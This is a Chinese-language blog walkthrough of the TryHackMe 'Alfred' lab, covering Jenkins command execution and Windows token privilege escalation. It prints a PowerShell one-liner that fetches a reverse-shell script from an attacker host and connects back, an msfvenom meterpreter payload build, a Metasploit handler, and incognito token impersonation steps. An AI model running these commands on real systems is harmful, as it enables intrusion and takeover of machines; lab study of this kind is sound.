window身份验证令牌提权(day3)


TryHackMe系列之Alfred


思路总结

JenKins项目创建选择window命令执行,写好攻击命令,选择build now 执行下载Invoke-PowerShellTcp.ps1脚本并执行获取普通shell,同样利用shell获取meterpreter_shell,加载incognito模块查找可利用的window令牌,meterpreter模拟令牌并且转移到管理员权限进程实现提权

信息收集

hydra爆破登入

hydra的参数设置可以在burp里获得如上:

Jenkins远程任意命令执行

获取普通shell

git clone https://github.com/samratashok/nishang.git

成功登入,漏洞是可以执行window命令,也就是任意命令执行

创建item,选择Execute Windows batch command模块输入命令,意思是从我们的攻击机下载Invoke-PowerShellTcp.ps1脚本,这是一个powershell反弹shell,后半部分是指定攻击机地址和端口并运行脚本

powershell iex (New-Object Net.WebClient).DownloadString('http://10.13.55.43:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.13.55.43 -Port 2333

点击apply,并且点击build now运行刚创建的items

python2 -m SimpleHTTPServer

如下我们暂时开的8000端口服务,成功

开启2333端口监听,成功

拿到meterpreter shell

新建一个item名为b,按之前的方法上传由msfconsole生成的active.exe文件

生成命令:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.55.43 LPORT=7777 -f exe -o active.exe

msfconsole运行一系列命令,开启监听,准备进入meterpreter shell模式:

msfconsole -qx 'use exploit/multi/handler;set lhost tun0;set lport 7777;set payload windows/meterpreter/reverse_tcp;run'

用相同的手段下载active.exe文件

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.13.55.43:8000/active.exe','active.exe')"

进入meterpreter shell的模式

window令牌提权

Windows 使用令牌来确保帐户拥有执行特定操作的正确权限。当用户登录或通过身份验证时,帐户令牌会分配给帐户。这通常由 LSASS.exe 完成(将其视为身份验证过程)。

该访问令牌包括:

  • 用户SID(安全标识符)
  • 组 SID
  • 特权

有两种类型的访问令牌:

  • 主要访问令牌:与登录时生成的用户帐户关联的令牌
  • 模拟令牌:允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问资源

对于模拟令牌,有不同的级别:

  • SecurityAnonymous:当前用户/客户端无法冒充其他用户/客户端
  • SecurityIdentification:当前用户/客户端可以获得客户端的身份和权限,但不能冒充客户端
  • SecurityImpersonation:当前用户/客户端可以模拟本地系统上客户端的安全上下文
  • SecurityDelegation:当前用户/客户端可以模拟远程系统上客户端的安全上下文

其中安全上下文是包含用户相关安全信息的数据结构。

帐户的权限(在创建时授予帐户或从组继承)允许用户执行特定操作。以下是最常被滥用的特权:

  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeTcbPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege

incognito模块


Incognito 模块是 Metasploit 框架中的一个模块,用于在已经获取了系统访问权限的情况下进行提权和令牌操作。这个模块允许渗透测试人员或黑客模拟一个已经登录的用户,执行他们可能没有权限执行的操作。主要的功能包括:

  1. 提权(Privilege Escalation): 允许用户尝试在受感染系统上提升权限。这可以通过尝试利用操作系统或应用程序的漏洞来实现,以获取更高级别的权限。
  2. 令牌操作(Token Manipulation): 允许用户查看、创建、修改或删除令牌。令牌是在 Windows 系统中用于验证和授权用户访问资源的一种机制。通过操作令牌,用户可以模拟其他用户的身份执行操作,例如在系统中执行特权操作。
  3. 用户列表和权限查询(User Enumeration and Privilege Enumeration): 允许用户查看系统中的用户列表和他们的权限级别。这可以帮助用户确定哪些用户具有哪些特权,并帮助他们制定下一步的攻击策略。
  4. 后门安装(Backdoor Installation): 允许用户在系统中安装后门或持久性访问机制,以确保他们在将来能够重新访问系统。

BUILTIN\Administrators 令牌是 Windows 操作系统中的一个内置令牌,它是一个特殊的用户组,通常具有系统管理员权限。这个令牌包含了一组特权,使其成员能够在系统上执行广泛的管理操作。

具体来说,BUILTIN\Administrators 令牌具有以下一些常见的权限:

  1. 完全控制权限: 这包括对文件、文件夹和注册表项的读取、写入、修改和删除权限。
  2. 安装和配置软件: 该令牌允许用户安装和配置软件,包括修改系统级配置和安装服务。
  3. 用户和组管理: 允许用户创建、修改和删除其他用户和组。
  4. 系统配置更改: 该令牌允许用户更改系统配置,例如网络设置、安全策略等。
  5. 特权提升: 作为系统管理员,该令牌允许用户执行特权提升操作,以获取更高级别的权限。

使用impersonate_token “BUILTIN\Administrators”命令来模拟管理员令牌。

即使拥有更高的特权令牌,实际上也可能不具有特权用户的权限(这是由于 Windows 处理权限的方式造成的 - 它使用进程的主令牌而不是模拟令牌来确定进程可以或不会)。确保迁移到具有正确权限的进程。最安全的进程是 services.exe 进程。

进程迁移tips

在计算机系统中,每个进程都有自己的内存空间,其中包含了它所需的代码、数据和堆栈等。这个内存空间通常被视为该进程的“沙盒”,在这个沙盒内,进程只能访问和操作自己的数据和代码,对其他进程的数据和代码没有权限。

当一个进程将自己的代码注入到另一个进程的内存空间中时,它实际上将自己的权限“提升”到了目标进程的权限级别。换句话说,攻击者通过进程迁移将自己的代码“引入”到了一个拥有更高权限的内存空间中

这样就是用提权令牌获得真正的身份,以及执行权限


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录